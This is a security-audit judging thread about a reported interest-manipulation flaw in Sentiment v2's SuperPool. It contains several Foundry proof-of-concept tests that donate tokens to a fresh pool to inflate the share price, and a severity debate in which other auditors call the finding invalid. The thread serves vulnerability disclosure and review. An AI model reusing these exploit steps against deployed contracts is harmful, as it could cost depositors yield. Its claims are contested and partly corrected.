sherlock-audit / 2024-08-sentiment-v2-judging

1 stars 0 forks source link

0xarno - Attacker Can Manipulate Interest Distribution by Exploiting Asset Transfers and Fee Accrual Mechanism #541

Open sherlock-admin3 opened 1 month ago

sherlock-admin3 commented 1 month ago

0xarno

High

Attacker Can Manipulate Interest Distribution by Exploiting Asset Transfers and Fee Accrual Mechanism

Summary

Attacker can take advantage of the SuperPool's interest system. By depositing a large amount of assets before a regular user does, the attacker can make the "dead" address receive a lot more interest than it should. This unfairly benefits the dead address and disadvantages other users. The issue is caused by how the system calculates and gives out fees and interest.

Vulnerability Detail

The vulnerability arises from the fact that an attacker can send a significant amount of assets to the SuperPool before a deposit is made by a regular user. This results in a disproportionate amount of interest being allocated to shares owned by the dead address, which was included during the initialization of the SuperPool. The specific sequence of operations allows the dead address to accumulate a substantial amount of interest due to the way fee shares are calculated and allocated.

Impact

The primary impact is that the dead address can accumulate a large portion of the total interest accrued by the SuperPool, resulting in:

Unequal distribution of accrued interest among stakeholders.
Potential financial loss for legitimate users, as their share of the interest is reduced in favor of the dead address.

Code Snippet

function simulateAccrue() internal view returns (uint256, uint256) {
        uint256 newTotalAssets = totalAssets();
        uint256 interestAccrued = (newTotalAssets > lastTotalAssets) ? newTotalAssets - lastTotalAssets : 0;
        if (interestAccrued == 0 || fee == 0) return (0, newTotalAssets);

        uint256 feeAssets = interestAccrued.mulDiv(fee, WAD);
        // newTotalAssets already includes feeAssets
        uint256 feeShares = _convertToShares(feeAssets, newTotalAssets - feeAssets, totalSupply(), Math.Rounding.Down);

        return (feeShares, newTotalAssets);
    }

LINK

Coded POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";

contract SuperPoolUnitTests is BaseTest {
    uint256 initialDepositAmt = 1000;

    Pool pool;
    Registry registry;
    SuperPool superPool;
    RiskEngine riskEngine;
    SuperPoolFactory superPoolFactory;
    address user_1 = makeAddr("User_1");

    address attacker = makeAddr("Attacker");

    address public feeTo = makeAddr("FeeTo");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        superPoolFactory = protocol.superPoolFactory();

        FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
    }

    function test_interest_manipulation_WITH_BUG() public {
        address feeRecipient = makeAddr("FeeRecipient");

        vm.prank(protocolOwner);
        asset1.mint(address(this), initialDepositAmt);
        asset1.approve(address(superPoolFactory), initialDepositAmt);

        address deployed = superPoolFactory.deploySuperPool(
            poolOwner,
            address(asset1),
            feeRecipient,
            1e17,
            type(uint256).max,
            initialDepositAmt,
            "test",
            "test"
        );
        superPool = SuperPool(deployed);
        /*//////////////////////////////////////////////////////////////
                     ATTACKER SENDING FUNDS TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(attacker);
        asset1.mint(attacker, 1e18);
        asset1.transfer(address(superPool), 1e18);
        vm.stopPrank();

        /*//////////////////////////////////////////////////////////////
                     user_1 DEPOSITNG TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(user_1);
        asset1.mint(user_1, 1e18);

        asset1.approve(address(superPool), type(uint256).max);

        superPool.deposit(1e18, user_1);
        vm.stopPrank();
        console2.log(
            "SuperPool(SHARES) Balance of User1: ",
            superPool.balanceOf(user_1)
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );

        /*//////////////////////////////////////////////////////////////
                           NOW SUPERPOOL ACCUMATES INTEREST
        //////////////////////////////////////////////////////////////*/
        asset1.mint(address(superPool), 0.5e18);
        superPool.accrue();
        uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(0x000000000000000000000000000000000000dEaD);
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );
        console2.log(
            " assest1 balance of superpool: ",
            asset1.balanceOf(address(superPool))
        );

        console2.log("SuperPool(SHARES) Total Supply: ", superPool.totalSupply());

        console2.log("Preview Mint for User1: ", superPool.previewMint(1111));
        console2.log(
            "Preview Mint for FeeRecipient: ",
            superPool.previewMint(156)
        );
        console2.log("Preview Mint for dead: ", superPool.previewMint(1000));
        // assert that the preview mint for dead is greater than the 40% of the total supply of superpool asset1
        assert(
            superPool.previewMint(SHARES_OF_DEAD_ADDRESS) >
                (superPool.totalSupply() * 0.4e18) / 1e18
        );
    }
}

Tool used

Manual Review

Recommendation

Limit Dead Address Shares during interest calculation

sherlock-admin2 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

z3s commented:

Admins are trusted

ARNO-0 commented 4 weeks ago

escalate

sherlock-admin3 commented 4 weeks ago

escalate

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ARNO-0 commented 3 weeks ago

The judge's comment is wrong; the admin has nothing to do with it.

cvetanovv commented 1 week ago

This attack makes no sense. Who would send significant funds to a dead address just to increase the interest rate? Even if that happens, it is up to each user to decide where to invest funds, and if the interest rate does not satisfy him, he will not invest there.

Planning to reject the escalation and leave the issue as is.

ARNO-0 commented 1 week ago

@cvetanovv
Where did I mention that the attacker would send funds to a dead address? Where did I say it would increase the interest rate?
The attack would send funds to a newly deployed superpool, causing dead shares to own a major portion of the interest that will accumulate in the pool over time.

ARNO-0 commented 1 week ago

1) The root of the issue is that during interest distribution, dead shares are also counted, leading to improper distribution. Most of the interest is lost because no one will be able to claim it.

2) The attacker only needs to send a small amount, such as 1e18, to cause incorrect interest distribution. That's why I provided a coded PoC so the judge can run and observe the attack.

cvetanovv commented 1 week ago

@ARNO-0 I misunderstood the issue.

This "dead address" does not accumulate any interest.

Run the next two PoC tests:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";

contract SuperPoolUnitTests is BaseTest {
    uint256 initialDepositAmt = 1000;

    Pool pool;
    Registry registry;
    SuperPool superPool;
    RiskEngine riskEngine;
    SuperPoolFactory superPoolFactory;
    address user_1 = makeAddr("User_1");

    address attacker = makeAddr("Attacker");

    address public feeTo = makeAddr("FeeTo");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        superPoolFactory = protocol.superPoolFactory();

        FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
    }

    function test_interest_manipulation_WITH_BUG() public {
        address feeRecipient = makeAddr("FeeRecipient");

        vm.prank(protocolOwner);
        asset1.mint(address(this), initialDepositAmt);
        asset1.approve(address(superPoolFactory), initialDepositAmt);

        address deployed = superPoolFactory.deploySuperPool(
            poolOwner,
            address(asset1),
            feeRecipient,
            1e17,
            type(uint256).max,
            initialDepositAmt,
            "test",
            "test"
        );
        superPool = SuperPool(deployed);
        console2.log(
            "DEAD ADDRES START: ",
            superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
        );
        /*//////////////////////////////////////////////////////////////
                     ATTACKER SENDING FUNDS TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(attacker);
        asset1.mint(attacker, 1e18);
        asset1.transfer(address(superPool), 1e18);
        vm.stopPrank();

        /*//////////////////////////////////////////////////////////////
                     user_1 DEPOSITNG TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(user_1);
        asset1.mint(user_1, 1e18);

        asset1.approve(address(superPool), type(uint256).max);

        superPool.deposit(1e18, user_1);
        vm.stopPrank();
        console2.log(
            "SuperPool(SHARES) Balance of User1: ",
            superPool.balanceOf(user_1)
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );

        /*//////////////////////////////////////////////////////////////
                           NOW SUPERPOOL ACCUMATES INTEREST
        //////////////////////////////////////////////////////////////*/
        asset1.mint(address(superPool), 0.5e18);
        superPool.accrue();
        uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(0x000000000000000000000000000000000000dEaD);
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );
        console2.log(
            " assest1 balance of superpool: ",
            asset1.balanceOf(address(superPool))
        );

        console2.log("SuperPool(SHARES) Total Supply: ", superPool.totalSupply());

        console2.log("Preview Mint for User1: ", superPool.previewMint(1111));
        console2.log(
            "Preview Mint for FeeRecipient: ",
            superPool.previewMint(156)
        );
        console2.log("Preview Mint for dead: ", superPool.previewMint(1000));
        // assert that the preview mint for dead is greater than the 40% of the total supply of superpool asset1
        console2.log(
            "DEAD ADDRESS END: ",
            superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
        );
        assert(
            superPool.previewMint(SHARES_OF_DEAD_ADDRESS) >
                (superPool.totalSupply() * 0.4e18) / 1e18
        );
    }
}

You can see that at the beginning and the end this address has the same value.

Logs:
  DEAD ADDRES START:  1000
  SuperPool(SHARES) Balance of User1:  1111
  SuperPool(SHARES) Balance of FeeRecipient:  111
  SuperPool(SHARES) Balance of FeeRecipient:  156
   assest1 balance of superpool:  2500000000000001000
  SuperPool(SHARES) Total Supply:  2267
  Preview Mint for User1:  1224647266313933471
  Preview Mint for FeeRecipient:  171957671957672027
  Preview Mint for dead:  1102292768959436068
  DEAD ADDRESS END:  1000

In the next PoC test, I moved SHARES_OF_DEAD_ADDRESS before the attack took place, and it still works. This proves that the issue is invalid.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";

contract SuperPoolUnitTests is BaseTest {
    uint256 initialDepositAmt = 1000;

    Pool pool;
    Registry registry;
    SuperPool superPool;
    RiskEngine riskEngine;
    SuperPoolFactory superPoolFactory;
    address user_1 = makeAddr("User_1");

    address attacker = makeAddr("Attacker");

    address public feeTo = makeAddr("FeeTo");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        superPoolFactory = protocol.superPoolFactory();

        FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
    }

    function test_interest_manipulation_WITH_BUG() public {
        address feeRecipient = makeAddr("FeeRecipient");

        vm.prank(protocolOwner);
        asset1.mint(address(this), initialDepositAmt);
        asset1.approve(address(superPoolFactory), initialDepositAmt);

        address deployed = superPoolFactory.deploySuperPool(
            poolOwner,
            address(asset1),
            feeRecipient,
            1e17,
            type(uint256).max,
            initialDepositAmt,
            "test",
            "test"
        );
        superPool = SuperPool(deployed);
        // console2.log(
        //     "DEAD ADDRES START: ",
        //     superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
        // );
        /*//////////////////////////////////////////////////////////////
                     ATTACKER SENDING FUNDS TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/
        uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(0x000000000000000000000000000000000000dEaD);
        vm.startPrank(attacker);
        asset1.mint(attacker, 1e18);
        asset1.transfer(address(superPool), 1e18);
        vm.stopPrank();

        /*//////////////////////////////////////////////////////////////
                     user_1 DEPOSITNG TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(user_1);
        asset1.mint(user_1, 1e18);

        asset1.approve(address(superPool), type(uint256).max);

        superPool.deposit(1e18, user_1);
        vm.stopPrank();
        console2.log(
            "SuperPool(SHARES) Balance of User1: ",
            superPool.balanceOf(user_1)
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );

        /*//////////////////////////////////////////////////////////////
                           NOW SUPERPOOL ACCUMATES INTEREST
        //////////////////////////////////////////////////////////////*/

        asset1.mint(address(superPool), 0.5e18);
        superPool.accrue();

        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );
        console2.log(
            " assest1 balance of superpool: ",
            asset1.balanceOf(address(superPool))
        );

        console2.log("SuperPool(SHARES) Total Supply: ", superPool.totalSupply());

        console2.log("Preview Mint for User1: ", superPool.previewMint(1111));
        console2.log(
            "Preview Mint for FeeRecipient: ",
            superPool.previewMint(156)
        );
        console2.log("Preview Mint for dead: ", superPool.previewMint(1000));
        // assert that the preview mint for dead is greater than the 40% of the total supply of superpool asset1
        // console2.log(
        //     "DEAD ADDRESS END: ",
        //     superPool.balanceOf(0x000000000000000000000000000000000000dEaD)
        // );
        assert(
            superPool.previewMint(SHARES_OF_DEAD_ADDRESS) >
                (superPool.totalSupply() * 0.4e18) / 1e18
        );
    }
}

Logs:
  SuperPool(SHARES) Balance of User1:  1111
  SuperPool(SHARES) Balance of FeeRecipient:  111
  SuperPool(SHARES) Balance of FeeRecipient:  156
   assest1 balance of superpool:  2500000000000001000
  SuperPool(SHARES) Total Supply:  2267
  Preview Mint for User1:  1224647266313933471
  Preview Mint for FeeRecipient:  171957671957672027
  Preview Mint for dead:  1102292768959436068

My decision to reject the escalation remains.

ARNO-0 commented 1 week ago

@cvetanovv I apologize for a small mistake in the report’s PoC (I used totalSupply instead of totalAssets() in the assertion but issue is still valid), which may have caused some confusion. In case you still don’t fully understand the issue and how ERC4626 (superpool) works here. Let me explain in detail how the interest system used by the team distributes interest and how an attacker can manipulate the system with no effort and minimal value. In the 4th point, I explained how the changes you made in PoC 2 do not mean anything.

1) ERC4626 mints shares which represent the assets owned in the vault. Generally, this vault accumulates yield, which is then distributed to the shareholders of the vault. Shares remain constant since only the underlying asset supply is increased. Accumulated interest/yield can then be claimed by users of the vault (ERC4626/superpool) using generic redeem/withdraw functions according to the shares they own. Now, their withdrawn asset will be greater than the deposited amount for the reason I explained above. Superpool here works the same way.

2) When yield/interest is accumulated in the vault, this function is used to update the lastTotalAssets:

function accrue() public {
    (uint256 feeShares, uint256 newTotalAssets) = simulateAccrue();
    if (feeShares != 0) ERC20._mint(feeRecipient, feeShares);
    lastTotalAssets = newTotalAssets;
}

This is crucial since it represents the assets deposited by users and the interest accumulated. Also, some percentage of the interest is taken as a fee, and then new shares are minted to the feeRecipient after accrue() is called, which is called every time there is a change in the underlying assets. This can be seen in this function:

function simulateAccrue() internal view returns (uint256, uint256) {
    uint256 newTotalAssets = totalAssets();
    uint256 interestAccrued = (newTotalAssets > lastTotalAssets) ? newTotalAssets - lastTotalAssets : 0;
    if (interestAccrued == 0 || fee == 0) return (0, newTotalAssets);

    uint256 feeAssets = interestAccrued.mulDiv(fee, WAD);
    // newTotalAssets already includes feeAssets
    uint256 feeShares = _convertToShares(feeAssets, newTotalAssets - feeAssets, totalSupply(), Math.Rounding.Down);

    return (feeShares, newTotalAssets);
}

The line (newTotalAssets > lastTotalAssets) flags that the balance of the pool went up, which means we need to update the state variable lastTotalAssets so that the interest can be claimed by the users of the pool. So it shows that shares owned by the users of the pool remain constant; interest accumulation literally means that the underlying asset supply increased in the pool. Therefore, the argument given by you, This "dead address" does not accumulate any interest, is invalid.

3) As I mentioned earlier, shares represent the ownership of the assets in the vault. Suppose user 1 deposited 1e18 in the pool (no other user in the pool); shares minted are also 1e18 (it does not matter how many are minted). So we say that user 1 has 100% ownership of the balance of the underlying assets. If user 2 deposits 1e18 and mints 1e18 shares, we can say that user 2 has 50% shares of the total minted shares(2e18) and 50% ownership on the total assest balance of the pool. So if the pool accumulates interest, let's suppose 1e18, still both users will have 50% ownership (user_1 shares = 1e18, user_2 shares = 1e18 remains constant), i.e., 1.5e18 assets each( this is the amount they can claim from the pool).

4) The changes you made in PoC 2 literally do not do anything; you just checked the shares owned by the dead address, and obviously, they would remain constant. The attacker still sent funds directly to the pool, and then when a user called deposit, accrue was called first. Then lastTotalAssets was updated to the current balance of the pool, which made the pool mint fewer shares (inflated share price).

5) In short, if the interest is accumulated before any user deposits into the pool, it will favor dead addresses during interest distribution.

6) If you remove the attack from the PoC and deposit normally, you’ll see that 99% of the accumulated interest can be claimed by the user and the feeRecipient.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";

contract SuperPoolUnitTests is BaseTest {
    uint256 initialDepositAmt = 1e5;

    Pool pool;
    Registry registry;
    SuperPool superPool;
    RiskEngine riskEngine;
    SuperPoolFactory superPoolFactory;
    address user_1 = makeAddr("User_1");

    address attacker = makeAddr("Attacker");

    address public feeTo = makeAddr("FeeTo");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        superPoolFactory = protocol.superPoolFactory();

        FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
    }

    function test_interest_manipulation_WITH_BUG_2() public {
        address feeRecipient = makeAddr("FeeRecipient");

        vm.prank(protocolOwner);
        asset1.mint(address(this), initialDepositAmt);
        asset1.approve(address(superPoolFactory), initialDepositAmt);

        address deployed = superPoolFactory.deploySuperPool(
            poolOwner,
            address(asset1),
            feeRecipient,
            1e17,
            type(uint256).max,
            initialDepositAmt,
            "test",
            "test"
        );
        superPool = SuperPool(deployed);

        /*//////////////////////////////////////////////////////////////
                     user_1 DEPOSITNG TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(user_1);
        asset1.mint(user_1, 1e18);

        asset1.approve(address(superPool), type(uint256).max);

        superPool.deposit(1e18, user_1);
        vm.stopPrank();
        console2.log(
            "SuperPool(SHARES) Balance of User1 after depositing 1e18: ",
            superPool.balanceOf(user_1)
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient: ",
            superPool.balanceOf(feeRecipient)
        );

        /*//////////////////////////////////////////////////////////////
                           NOW SUPERPOOL ACCUMATES INTEREST
        //////////////////////////////////////////////////////////////*/

        asset1.mint(address(superPool), 10e18); // can be 0.5e18 as well as in report poc
        superPool.accrue();
        uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(
            0x000000000000000000000000000000000000dEaD
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient after interest accumulates: ",
            superPool.balanceOf(feeRecipient)
        );
        console2.log(
            "Assest balance of superpool after interest accumulates: ",
            asset1.balanceOf(address(superPool))
        );

        console2.log(
            "SuperPool(SHARES) Total Supply after interest accumulates: ",
            superPool.totalSupply()
        );

        console2.log(
            "Preview Redeem for User1: ",
            superPool.previewRedeem(superPool.balanceOf(user_1))
        );
        console2.log(
            "Preview Redeem for FeeRecipient: ",
            superPool.previewRedeem(superPool.balanceOf(feeRecipient))
        );
        console2.log(
            "Preview Redeem for dead: ",
            superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS)
        );
        //
        console2.log("totalAssets() : ", superPool.totalAssets());

        console2.log(
            "% of total assest the dead shares can claim: ",
            (superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS) * 1e18) /
                superPool.totalAssets()
        );

        console2.log(
            "% of total assest the user1 and feeRecipient shares can claim: ",
            ((superPool.previewRedeem(superPool.balanceOf(user_1)) +
                superPool.previewRedeem(superPool.balanceOf(feeRecipient))) *
                1e18) / superPool.totalAssets()
        );
         // claimable interest is greater than 99% of the total assets
        assert(
            superPool.previewRedeem(superPool.balanceOf(user_1)) +
                superPool.previewRedeem(superPool.balanceOf(feeRecipient)) >
                (superPool.totalAssets() * 0.99e18) / 1e18
        );
    }
}


Logs:
  SuperPool(SHARES) Balance of User1 after depositing 1e18:  1000000000000000000
  SuperPool(SHARES) Balance of FeeRecipient:  0
  SuperPool(SHARES) Balance of FeeRecipient after interest accumulates:  100000000000009000
  Assest balance of superpool after interest accumulates:  11000000000000100000
  SuperPool(SHARES) Total Supply after interest accumulates:  1100000000000109000
  Preview Redeem for User1:  9999999999999099991
  Preview Redeem for FeeRecipient:  999999999999999999
  Preview Redeem for dead:  999999
  totalAssets() :  11000000000000100000
  % of total assest the dead shares can claim:  90908
  % of total assest the user1 and feeRecipient shares can claim:  999999999999909090

ARNO-0 commented 1 week ago

Here is the corrected PoC. I changed previewMint to previewRedeem (it doesn’t matter whether it's previewMint or previewRedeem; the underlying logic is the same as both return the assets in exchange for shares as input) and replaced totalSupply() with totalAssets().

2) The attack demonstrates that less than 60% (exact value: 587497164071362276 / 1e18 = 58.749%) of the underlying assets are owned by the combined user_1 and FeeRecipient, while the rest are owned by dead shares (exact value: 412498710941528307 / 1e18 = 41.24%).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";

contract SuperPoolUnitTests is BaseTest {
    uint256 initialDepositAmt = 1e5;

    Pool pool;
    Registry registry;
    SuperPool superPool;
    RiskEngine riskEngine;
    SuperPoolFactory superPoolFactory;
    address user_1 = makeAddr("User_1");

    address attacker = makeAddr("Attacker");

    address public feeTo = makeAddr("FeeTo");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        superPoolFactory = protocol.superPoolFactory();

        FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
    }

    function test_interest_manipulation_WITH_BUG_1() public {
        address feeRecipient = makeAddr("FeeRecipient");

        vm.prank(protocolOwner);
        asset1.mint(address(this), initialDepositAmt);
        asset1.approve(address(superPoolFactory), initialDepositAmt);

        address deployed = superPoolFactory.deploySuperPool(
            poolOwner,
            address(asset1),
            feeRecipient,
            1e17,
            type(uint256).max,
            initialDepositAmt,
            "test",
            "test"
        );
        superPool = SuperPool(deployed);
        /*//////////////////////////////////////////////////////////////
                     ATTACKER SENDING FUNDS TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(attacker);
        asset1.mint(attacker, 1e18);
        asset1.transfer(address(superPool), 1e18);
        vm.stopPrank();

        /*//////////////////////////////////////////////////////////////
                     user_1 DEPOSITNG TO SUPERPOOL
        //////////////////////////////////////////////////////////////*/

        vm.startPrank(user_1);
        asset1.mint(user_1, 1e18);

        asset1.approve(address(superPool), type(uint256).max);

        superPool.deposit(1e18, user_1);
        vm.stopPrank();
        console2.log(
            "SuperPool(SHARES) Balance of User1 after depositing: ",
            superPool.balanceOf(user_1)
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient before: ",
            superPool.balanceOf(feeRecipient)
        );

        /*//////////////////////////////////////////////////////////////
                           NOW SUPERPOOL ACCUMATES INTEREST
        //////////////////////////////////////////////////////////////*/
        asset1.mint(address(superPool), 10e18);
        superPool.accrue();
        uint SHARES_OF_DEAD_ADDRESS = superPool.balanceOf(
            0x000000000000000000000000000000000000dEaD
        );
        console2.log(
            "SuperPool(SHARES) Balance of FeeRecipient after interest accumulates: ",
            superPool.balanceOf(feeRecipient)
        );
        console2.log(
            "Assest balance of superpool: ",
            asset1.balanceOf(address(superPool))
        );

        console2.log(
            "SuperPool(SHARES) Total Supply: ",
            superPool.totalSupply()
        );

        console2.log(
            "Preview Redeem for User1: ",
            superPool.previewRedeem(superPool.balanceOf(user_1))
        );
        console2.log(
            "Preview Redeem for FeeRecipient: ",
            superPool.previewRedeem(superPool.balanceOf(feeRecipient))
        );
        console2.log(
            "Preview Redeem for dead: ",
            superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS)
        );
        console2.log("Total Assets: ", superPool.totalAssets());

        console2.log(
            "% of total assest the dead shares can claim: ",
            (superPool.previewRedeem(SHARES_OF_DEAD_ADDRESS) * 1e18) /
                superPool.totalAssets()
        );

        console2.log(
            "% of total assest the user1 and feeRecipient shares can claim: ",
            ((superPool.previewRedeem(superPool.balanceOf(user_1)) +
                superPool.previewRedeem(superPool.balanceOf(feeRecipient))) *
                1e18) / superPool.totalAssets()
        );

        assert(
            superPool.previewRedeem(superPool.balanceOf(user_1)) +
                superPool.previewRedeem(superPool.balanceOf(feeRecipient)) <
                (superPool.totalAssets() * 0.6e18) / 1e18
        );
    }
}

Logs:
  SuperPool(SHARES) Balance of User1 after depositing:  111111
  SuperPool(SHARES) Balance of FeeRecipient before:  11111
  SuperPool(SHARES) Balance of FeeRecipient after interest accumulates:  31313
  Assest balance of superpool:  12000000000000100000
  SuperPool(SHARES) Total Supply:  242424
  Preview Redeem for User1:  5499977312570944049
  Preview Redeem for FeeRecipient:  1549988656285462024
  Preview Redeem for dead:  4949984531298380942
  Total Assets:  12000000000000100000
  % of total assest the dead shares can claim:  412498710941528307
  % of total assest the user1 and feeRecipient shares can claim:  587497164071362276

cvetanovv commented 1 week ago

@ARNO-0 Thanks for the explanation. Now I fully understand what you meant in the issue. At first, I understood the issue differently. I run the PoC, and everything works.

Indeed, this attack will reduce the future profits of users because the "dead address" will accumulate a portion of the profit.

However, I think this issue is valid Medium(not High) because the malicious user will hurt the future profit of honest users but not profit anything from the attack. Even if he deposits later(obviously, he won't), he will be the victim, too. If users are not satisfied with the profit, they can not invest in the pool.

I am planning to accept the escalation and make this issue a valid Medium.

ARNO-0 commented 1 week ago

@cvetanovv, thank you for listening to the details, sir.

I would have agreed with a medium severity rating if it was just one pool affected. However, in this case, every newly deployed pool will face losses, which will accumulate into a larger loss of funds. As you mentioned, users can choose whether to invest or not, but by then, the damage would already be done. I believe this should be considered high severity for three reasons:

1) Likelihood (High): The attack can be executed by any regular user without the need for special tools. As soon as a pool is deployed, it can be attacked, potentially harming the protocol. 2) Impact (High): There is a direct and permanent loss of funds, affecting multiple parties.

3) According to this rule:

cvetanovv commented 1 week ago

@ARNO-0 I agree with you that although the malicious user suffers little loss, he can make the attack on any pool without having an external condition.

I am planning to accept the escalation and make this issue a valid High.

elhajin commented 1 week ago

Hey @cvetanovv , I think this issue is invalid. It's like saying that an attacker can mint shares and let them accumulate yield indefinitely, which is completely fine since users choose which pools to invest in. If your concern is that an attacker could make it expensive for the deployer the first time they set up the pool by sending valuable shares to a dead address, that’s similar to what we discussed in #97. Regardless, if a user invests in a pool with 1,000 shares and he have 100 , they still receive 10% of the interest, no matter how many shares are in the dead address. To be honest, this isn't really an issue at all. Issue #97 explains the risks of sending direct funds to a newly deployed address, which can lead to DoS attacks or make creating new super pools too expensive. Also, if the owner decides to burn 1 million shares at deployment, those shares will still accumulate yield, so what's the actual problem? Users can just choose not to invest in pools they don’t want to. Sending shares to a dead address is a known mechanism to prevent inflation attacks, and it’s widely accepted that those shares will accumulate yield from the vault. The idea is that the yield is always negligible, since the shares are small, and if the attacker increases their share count by sending funds directly to the dead address, it aligns with the concerns raised in issue #97

Lastly, to be clear and honest, both 97 and this issue are invalid(we actually have a duplicate of 97). Let’s say an attacker sends 1e18 WETH to the next super pool that’s about to be deployed. As the deployer, this is great for me. Here’s my plan: I’ll deploy the super pool with a 100% fee upon deposit. The fee recipient (which is me) will be minted 1e18 shares, and then I’ll deposit 1,000 WETH, which will mint 1,000 shares that get sent to a dead address. In this way, I effectively steal from the attacker 1weth , and there is no inflation of share price. i can than change the fees back .

ARNO-0 commented 1 week ago

@elhajin you don’t fully understand the issue, as most of the points you raised are not even relevant to this issue. Many of your points are about issue 97 .

"It’s like saying that an attacker can mint shares and let them accumulate yield indefinitely, which is completely fine since users choose which pools to invest in."

1) The attacker is not minting shares.

2) So, the point about "letting them accumulate yield indefinitely" is completely invalid.

3) "Users choose which pools to invest in"—Yield manipulation is not visible until the first user deposits into the pool. Even if it were visible, the attacker could simply wait for the first depositor and frontrun them.

4) "If the owner decides to burn 1 million shares at deployment, those shares will still accumulate yield."
The fix does not determine the severity of the issue.

5) "Regardless, if a user invests in a pool with 1,000 shares and they have 100, they still receive 10% of the interest, no matter how many shares are in the dead address. To be honest, this isn't really an issue at all."
The attacker manipulates the system to favor dead shares, meaning the rest of the yield is lost.

"Sending shares to a dead address is a known mechanism to prevent inflation attacks, and it’s widely accepted that those shares will accumulate yield from the vault. The idea is that the yield is always negligible, since the shares are small."

1) "Those shares will accumulate yield from the vault. The idea is that the yield is always negligible" — This exact behavior is what the attacker manipulates.

2) The rest of the points you raised are not relevant to this issue.

samuraii77 commented 1 week ago

I want to add that the fact that this can be done on many pools does not make it a High. The threshold for a High is 1% losses, having more pools vulnerable to this does not increase the percentage. It might increase the overall losses but not the percentage.

Either way, this issue does not qualify for a Medium either, the points brought by @elhajin are completely valid, there is nothing wrong with the code as such an attack can be done on any pool in existence.

elhajin commented 1 week ago

Agree I didn't read the full issue .. now I'm convinced it's totally invalid

this is how distributing rewards based on shares works the more users deposits the more diluted shares but it's proportional because more deposits means more rewards .. in your issue the donated amount from the attacker will also be used to generate yield as well (it would be an issue if only the user deposit will be used to generate yield than the yield are splits with the dead address).. so user doesn't lose anyway.
it's kinda saying: an attacker can deposit to a SuperPool and mint some shares that he will never claim and they keep accumulating yield ; stealing portion of interest from other users(and yea a smarter attacker will mint those shares rather than donating them )
in this case all users would be attackers..
in the poc we have 50% of total assets are donated by attacker which make dead address gets 50% of rewards (ignore fees) and the user will get 50% . The reward was generated from 2e18 assets .. user contributed by 50% and he got 50% from the interest . There is no loss for the user but permanent lost for the attacker
now if another user deposits he will get a proportional reward amount to his deposits

There is completely no issue here

cvetanovv commented 1 week ago

